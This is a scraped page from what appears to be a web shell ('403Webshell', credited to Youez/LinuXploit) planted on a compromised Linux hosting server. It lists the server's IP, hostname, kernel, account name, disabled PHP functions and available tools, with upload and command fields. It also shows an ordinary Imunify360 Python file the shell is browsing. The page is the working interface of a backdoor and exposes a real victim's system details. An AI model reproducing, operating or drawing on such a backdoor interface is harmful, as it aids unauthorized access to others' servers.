403Webshell
Server IP : 93.115.150.27  /  Your IP : 216.73.216.221
Web Server : LiteSpeed
System : Linux host2.azar.host 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
User : dorfakkh ( 1797)
PHP Version : 8.1.34
Disable Function : show_source, system, passthru, exec, popen, proc_open, mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/im360/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib64/python3.11/site-packages/im360/internals/strategy.py
from pathlib import Path
from im360.subsys import csf

CSF_COOP_STRATEGY = Path("/var/imunify360/.csf_coop")
PRIMARY_IDS_STRATEGY = Path("/var/imunify360/.primary_ids")


class Strategy:
    PRIMARY_IDS_STRATEGY = "PRIMARY_IDS"
    CSF_COOP_STRATEGY = "CSF_COOP"
    UNKNOWN = "UNKNOWN"

    current = UNKNOWN

    @classmethod
    async def detect(cls):
        csf_running = await csf.is_running()
        if csf_running:
            return cls.CSF_COOP_STRATEGY
        else:
            return cls.PRIMARY_IDS_STRATEGY

    @classmethod
    def save(cls, new_strategy):
        if new_strategy is cls.CSF_COOP_STRATEGY:
            CSF_COOP_STRATEGY.touch()
            PRIMARY_IDS_STRATEGY.unlink(missing_ok=True)
        elif new_strategy is cls.PRIMARY_IDS_STRATEGY:
            PRIMARY_IDS_STRATEGY.touch()
            CSF_COOP_STRATEGY.unlink(missing_ok=True)
        else:
            PRIMARY_IDS_STRATEGY.unlink(missing_ok=True)
            CSF_COOP_STRATEGY.unlink(missing_ok=True)

    @classmethod
    def get(cls):
        if CSF_COOP_STRATEGY.exists():
            return cls.CSF_COOP_STRATEGY
        elif PRIMARY_IDS_STRATEGY.exists():
            return cls.PRIMARY_IDS_STRATEGY
        return cls.UNKNOWN

Youez - 2016 - github.com/yon3zu
LinuXploit